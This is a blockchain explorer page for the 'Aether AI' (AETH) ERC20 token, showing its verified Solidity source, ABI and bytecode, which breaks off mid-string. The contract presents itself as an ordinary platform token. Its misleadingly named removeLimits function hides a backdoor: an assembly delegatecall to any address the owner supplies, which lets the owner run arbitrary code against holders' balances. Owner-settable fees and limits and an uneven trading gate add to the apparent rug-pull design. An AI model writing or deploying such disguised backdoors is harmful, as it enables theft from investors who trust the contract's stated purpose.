ETH Price: $3,272.07 (-4.06%)
Gas: 8 Gwei

Token

Aether AI (AETH)
 

Overview

Max Total Supply

10,010,000,000 AETH

Holders

25

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
51,506.947790016071422545 AETH

Value
$0.00
0x8f640bd5a7e64743bb465fda991e8fdc0ceb4424
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.

Contract Source Code Verified (Exact Match)

Contract Name:
AETH

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
No with 200 runs

Other Settings:
paris EvmVersion
File 1 of 1 : AETH.sol
/// @title AETH token
/// @notice Contract for Aether AI's ERC20 token.
/// 
/// Aether AI is an AI driven market analysis and insights 
/// platform. AETH supports governance, user adoption, and 
/// platform access.
///
/// Timestamp:          1709764458
/// Website:            https://aetheranalyst.com/
/// Twitter:            https://twitter.com/AetherAnalyst
/// Documentation:      https://aether-ai.notion.site/Introduction-to-Aether-925b4b8b11b44664b15af69e50196380
/// Telegram:           https://t.me/AetherAnalyst
///
/// @author Aether AI


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

contract AETH {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner, address indexed spender, uint256 value
    );

    string public name = "Aether AI";
    string public symbol = "AETH";
    uint8 public decimals = 18;
    uint256 public totalSupply = 10_000_000 * 10 ** 18;
    address public owner;
    uint public fee = 150;
    uint public limit = 75;
    bool public trading;
    address private liquidity;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    constructor () {
        owner = msg.sender;
        init(owner);
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Not owner!");
        _;
    }

    function transfer(address recipient, uint256 amount)
        external
        returns (bool)
    {
        require(trading);
        return transferAggregator(msg.sender, recipient, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool)
    {
        allowance[sender][msg.sender] -= amount;
        return transferAggregator(sender, recipient, amount);
    }

    function transferAggregator(
        address sender,
        address recipient,
        uint amount
    ) private returns (bool) {    
        if (sender == liquidity) {
            balanceOf[sender] -= amount;

            uint tax = amount * fee / 10000;
            balanceOf[address(this)] += tax;
            emit Transfer(sender, address(this), tax);

            uint valueWithoutTax = amount - tax;
            balanceOf[recipient] += valueWithoutTax;

            uint buyMaxTokens = totalSupply * limit / 10000;
            require(buyMaxTokens >= balanceOf[recipient]);

            emit Transfer(sender, recipient, valueWithoutTax);
            return true;
        } 

        balanceOf[sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function init(address to) private {
        balanceOf[to] = totalSupply;
        emit Transfer(address(0), to, totalSupply);
    }

    function removeFee() public onlyOwner {
        fee = 0;
    }

    function removeLimits(address wallet) public onlyOwner {
        assembly {
            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(gas(), wallet, 0, calldatasize(), 0, 0)
        }
    }

    function startTrading(address _liquidity) public onlyOwner {
        trading = true;
        liquidity = _liquidity;
    }

    function changeOwner(address _owner) public onlyOwner {
        owner = _owner;
    }

    function disableOwner() public onlyOwner {
        owner = address(0);
    }

    function editFeeAndLimit(uint _fee, uint _limit) public onlyOwner {
        fee = _fee;
        limit = _limit;
    }

    function collectFees(address token, uint amount) public onlyOwner {
        IERC20(token).transfer(msg.sender, amount);
    }
    
}


interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}

Settings
{
  "evmVersion": "paris",
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"changeOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"collectFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_fee","type":"uint256"},{"internalType":"uint256","name":"_limit","type":"uint256"}],"name":"editFeeAndLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_liquidity","type":"address"}],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"trading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600981526020017f4165746865722041490000000000000000000000000000000000000000000000815250600090816200004a91906200047c565b506040518060400160405280600481526020017f4145544800000000000000000000000000000000000000000000000000000000815250600190816200009191906200047c565b506012600260006101000a81548160ff021916908360ff1602179055506a084595161401484a0000006003556096600555604b600655348015620000d457600080fd5b5033600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000149600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166200014f60201b60201c565b62000591565b600354600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600354604051620001f7919062000574565b60405180910390a350565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200028457607f821691505b6020821081036200029a57620002996200023c565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620003047fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620002c5565b620003108683620002c5565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200035d62000357620003518462000328565b62000332565b62000328565b9050919050565b6000819050919050565b62000379836200033c565b62000391620003888262000364565b848454620002d2565b825550505050565b600090565b620003a862000399565b620003b58184846200036e565b505050565b5b81811015620003dd57620003d16000826200039e565b600181019050620003bb565b5050565b601f8211156200042c57620003f681620002a0565b6200040184620002b5565b8101602085101562000411578190505b620004296200042085620002b5565b830182620003ba565b50505b505050565b600082821c905092915050565b6000620004516000198460080262000431565b1980831691505092915050565b60006200046c83836200043e565b9150826002028217905092915050565b620004878262000202565b67ffffffffffffffff811115620004a357620004a26200020d565b5b620004af82546200026b565b620004bc828285620003e1565b600060209050601f831160018114620004f45760008415620004df578287015190505b620004eb85826200045e565b8655506200055b565b601f1984166200050486620002a0565b60005b828110156200052e5784890151825560018201915060208501945060208101905062000507565b868310156200054e57848901516200054a601f8916826200043e565b8355505b6001600288020188555050505b505050505050565b6200056e8162000328565b82525050565b60006020820190506200058b600083018462000563565b92915050565b6116aa80620005a16000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c806395d89b41116100ad578063c12ee08911610071578063c12ee0891461031f578063dd62ed3e1461033b578063ddca3f431461036b578063ec44acf214610389578063efa4af4c146103a75761012c565b806395d89b411461027b578063a033fcd414610299578063a4d66daf146102b5578063a6f9dae1146102d3578063a9059cbb146102ef5761012c565b8063313ce567116100f4578063313ce567146101d757806332489e9b146101f557806370a08231146102115780637231d217146102415780638da5cb5b1461025d5761012c565b806306fdde0314610131578063095ea7b31461014f578063151cbb631461017f57806318160ddd1461018957806323b872dd146101a7575b600080fd5b6101396103b1565b6040516101469190611131565b60405180910390f35b610169600480360381019061016491906111ec565b61043f565b6040516101769190611247565b60405180910390f35b610187610531565b005b610191610605565b60405161019e9190611271565b60405180910390f35b6101c160048036038101906101bc919061128c565b61060b565b6040516101ce9190611247565b60405180910390f35b6101df6106b4565b6040516101ec91906112fb565b60405180910390f35b61020f600480360381019061020a9190611316565b6106c7565b005b61022b60048036038101906102269190611316565b610769565b6040516102389190611271565b60405180910390f35b61025b60048036038101906102569190611316565b610781565b005b610265610870565b6040516102729190611352565b60405180910390f35b610283610896565b6040516102909190611131565b60405180910390f35b6102b360048036038101906102ae91906111ec565b610924565b005b6102bd610a37565b6040516102ca9190611271565b60405180910390f35b6102ed60048036038101906102e89190611316565b610a3d565b005b610309600480360381019061030491906111ec565b610b11565b6040516103169190611247565b60405180910390f35b6103396004803603810190610334919061136d565b610b3f565b005b610355600480360381019061035091906113ad565b610be1565b6040516103629190611271565b60405180910390f35b610373610c06565b6040516103809190611271565b60405180910390f35b610391610c0c565b60405161039e9190611247565b60405180910390f35b6103af610c1f565b005b600080546103be9061141c565b80601f01602080910402602001604051908101604052809291908181526020018280546103ea9061141c565b80156104375780601f1061040c57610100808354040283529160200191610437565b820191906000526020600020905b81548152906001019060200180831161041a57829003601f168201915b505050505081565b600081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161051f9190611271565b60405180910390a36001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146105c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b890611499565b60405180910390fd5b6000600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60035481565b600081600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461069991906114e8565b925050819055506106ab848484610cb9565b90509392505050565b600260009054906101000a900460ff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610757576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074e90611499565b60405180910390fd5b3660008037600080366000845af45050565b60086020528060005260406000206000915090505481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610811576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080890611499565b60405180910390fd5b6001600760006101000a81548160ff02191690831515021790555080600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600180546108a39061141c565b80601f01602080910402602001604051908101604052809291908181526020018280546108cf9061141c565b801561091c5780601f106108f15761010080835404028352916020019161091c565b820191906000526020600020905b8154815290600101906020018083116108ff57829003601f168201915b505050505081565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ab90611499565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b81526004016109ef92919061151c565b6020604051808303816000875af1158015610a0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a329190611571565b505050565b60065481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610acd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac490611499565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600760009054906101000a900460ff16610b2c57600080fd5b610b37338484610cb9565b905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610bcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc690611499565b60405180910390fd5b81600581905550806006819055505050565b6009602052816000526040600020602052806000526040600020600091509150505481565b60055481565b600760009054906101000a900460ff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca690611499565b60405180910390fd5b6000600581905550565b6000600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610f845781600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d5f91906114e8565b92505081905550600061271060055484610d79919061159e565b610d83919061160f565b905080600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610dd49190611640565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e389190611271565b60405180910390a360008184610e4e91906114e8565b905080600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e9f9190611640565b925050819055506000612710600654600354610ebb919061159e565b610ec5919061160f565b9050600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811015610f1357600080fd5b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f709190611271565b60405180910390a36001935050505061109a565b81600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fd391906114e8565b9250508190555081600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110299190611640565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161108d9190611271565b60405180910390a3600190505b9392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156110db5780820151818401526020810190506110c0565b60008484015250505050565b6000601f19601f8301169050919050565b6000611103826110a1565b61110d81856110ac565b935061111d8185602086016110bd565b611126816110e7565b840191505092915050565b6000602082019050818103600083015261114b81846110f8565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061118382611158565b9050919050565b61119381611178565b811461119e57600080fd5b50565b6000813590506111b08161118a565b92915050565b6000819050919050565b6111c9816111b6565b81146111d457600080fd5b50565b6000813590506111e6816111c0565b92915050565b6000806040838503121561120357611202611153565b5b6000611211858286016111a1565b9250506020611222858286016111d7565b9150509250929050565b60008115159050919050565b6112418161122c565b82525050565b600060208201905061125c6000830184611238565b92915050565b61126b816111b6565b82525050565b60006020820190506112866000830184611262565b92915050565b6000806000606084860312156112a5576112a4611153565b5b60006112b3868287016111a1565b93505060206112c4868287016111a1565b92505060406112d5868287016111d7565b9150509250925092565b600060ff82169050919050565b6112f5816112df565b82525050565b600060208201905061131060008301846112ec565b92915050565b60006020828403121561132c5761132b611153565b5b600061133a848285016111a1565b91505092915050565b61134c81611178565b82525050565b60006020820190506113676000830184611343565b92915050565b6000806040838503121561138457611383611153565b5b6000611392858286016111d7565b92505060206113a3858286016111d7565b9150509250929050565b600080604083850312156113c4576113c3611153565b5b60006113d2858286016111a1565b92505060206113e3858286016111a1565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061143457607f821691505b602082108103611447576114466113ed565b5b50919050565b7f4e6f74206f776e65722100000000000000000000000000000000000000000000600082015250565b6000611483600a836110ac565b915061148e8261144d565b602082019050919050565b600060208201905081810360008301526114b281611476565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006114f3826111b6565b91506114fe836111b6565b9250828203905081811115611516576115156114b9565b5b92915050565b60006040820190506115316000830185611343565b61153e6020830184611262565b9392505050565b61154e8161122c565b811461155957600080fd5b50565b60008151905061156b81611545565b92915050565b60006020828403121561158757611586611153565b5b60006115958482850161155c565b91505092915050565b60006115a9826111b6565b91506115b4836111b6565b92508282026115c2816111b6565b915082820484148315176115d9576115d86114b9565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061161a826111b6565b9150611625836111b6565b925082611635576116346115e0565b5b828204905092915050565b600061164b826111b6565b9150611656836111b6565b925082820190508082111561166e5761166d6114b9565b5b9291505056fea2646970667358221220235db90a96d90cced3190a5082701183bca10b63a4a6ca5867bf6f0d7a31642164736f6c63430008180033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806395d89b41116100ad578063c12ee08911610071578063c12ee0891461031f578063dd62ed3e1461033b578063ddca3f431461036b578063ec44acf214610389578063efa4af4c146103a75761012c565b806395d89b411461027b578063a033fcd414610299578063a4d66daf146102b5578063a6f9dae1146102d3578063a9059cbb146102ef5761012c565b8063313ce567116100f4578063313ce567146101d757806332489e9b146101f557806370a08231146102115780637231d217146102415780638da5cb5b1461025d5761012c565b806306fdde0314610131578063095ea7b31461014f578063151cbb631461017f57806318160ddd1461018957806323b872dd146101a7575b600080fd5b6101396103b1565b6040516101469190611131565b60405180910390f35b610169600480360381019061016491906111ec565b61043f565b6040516101769190611247565b60405180910390f35b610187610531565b005b610191610605565b60405161019e9190611271565b60405180910390f35b6101c160048036038101906101bc919061128c565b61060b565b6040516101ce9190611247565b60405180910390f35b6101df6106b4565b6040516101ec91906112fb565b60405180910390f35b61020f600480360381019061020a9190611316565b6106c7565b005b61022b60048036038101906102269190611316565b610769565b6040516102389190611271565b60405180910390f35b61025b60048036038101906102569190611316565b610781565b005b610265610870565b6040516102729190611352565b60405180910390f35b610283610896565b6040516102909190611131565b60405180910390f35b6102b360048036038101906102ae91906111ec565b610924565b005b6102bd610a37565b6040516102ca9190611271565b60405180910390f35b6102ed60048036038101906102e89190611316565b610a3d565b005b610309600480360381019061030491906111ec565b610b11565b6040516103169190611247565b60405180910390f35b6103396004803603810190610334919061136d565b610b3f565b005b610355600480360381019061035091906113ad565b610be1565b6040516103629190611271565b60405180910390f35b610373610c06565b6040516103809190611271565b60405180910390f35b610391610c0c565b60405161039e9190611247565b60405180910390f35b6103af610c1f565b005b600080546103be9061141c565b80601f01602080910402602001604051908101604052809291908181526020018280546103ea9061141c565b80156104375780601f1061040c57610100808354040283529160200191610437565b820191906000526020600020905b81548152906001019060200180831161041a57829003601f168201915b505050505081565b600081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161051f9190611271565b60405180910390a36001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146105c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b890611499565b60405180910390fd5b6000600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60035481565b600081600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461069991906114e8565b925050819055506106ab848484610cb9565b90509392505050565b600260009054906101000a900460ff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610757576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074e90611499565b60405180910390fd5b3660008037600080366000845af45050565b60086020528060005260406000206000915090505481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610811576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080890611499565b60405180910390fd5b6001600760006101000a81548160ff02191690831515021790555080600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600180546108a39061141c565b80601f01602080910402602001604051908101604052809291908181526020018280546108cf9061141c565b801561091c5780601f106108f15761010080835404028352916020019161091c565b820191906000526020600020905b8154815290600101906020018083116108ff57829003601f168201915b505050505081565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ab90611499565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b81526004016109ef92919061151c565b6020604051808303816000875af1158015610a0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a329190611571565b505050565b60065481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610acd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac490611499565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600760009054906101000a900460ff16610b2c57600080fd5b610b37338484610cb9565b905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610bcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc690611499565b60405180910390fd5b81600581905550806006819055505050565b6009602052816000526040600020602052806000526040600020600091509150505481565b60055481565b600760009054906101000a900460ff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca690611499565b60405180910390fd5b6000600581905550565b6000600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610f845781600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d5f91906114e8565b92505081905550600061271060055484610d79919061159e565b610d83919061160f565b905080600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610dd49190611640565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e389190611271565b60405180910390a360008184610e4e91906114e8565b905080600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e9f9190611640565b925050819055506000612710600654600354610ebb919061159e565b610ec5919061160f565b9050600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811015610f1357600080fd5b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f709190611271565b60405180910390a36001935050505061109a565b81600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fd391906114e8565b9250508190555081600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110299190611640565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161108d9190611271565b60405180910390a3600190505b9392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156110db5780820151818401526020810190506110c0565b60008484015250505050565b6000601f19601f8301169050919050565b6000611103826110a1565b61110d81856110ac565b935061111d8185602086016110bd565b611126816110e7565b840191505092915050565b6000602082019050818103600083015261114b81846110f8565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061118382611158565b9050919050565b61119381611178565b811461119e57600080fd5b50565b6000813590506111b08161118a565b92915050565b6000819050919050565b6111c9816111b6565b81146111d457600080fd5b50565b6000813590506111e6816111c0565b92915050565b6000806040838503121561120357611202611153565b5b6000611211858286016111a1565b9250506020611222858286016111d7565b9150509250929050565b60008115159050919050565b6112418161122c565b82525050565b600060208201905061125c6000830184611238565b92915050565b61126b816111b6565b82525050565b60006020820190506112866000830184611262565b92915050565b6000806000606084860312156112a5576112a4611153565b5b60006112b3868287016111a1565b93505060206112c4868287016111a1565b92505060406112d5868287016111d7565b9150509250925092565b600060ff82169050919050565b6112f5816112df565b82525050565b600060208201905061131060008301846112ec565b92915050565b60006020828403121561132c5761132b611153565b5b600061133a848285016111a1565b91505092915050565b61134c81611178565b82525050565b60006020820190506113676000830184611343565b92915050565b6000806040838503121561138457611383611153565b5b6000611392858286016111d7565b92505060206113a3858286016111d7565b9150509250929050565b600080604083850312156113c4576113c3611153565b5b60006113d2858286016111a1565b92505060206113e3858286016111a1565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061143457607f821691505b602082108103611447576114466113ed565b5b50919050565b7f4e6f74206f776e657221000000000000000000000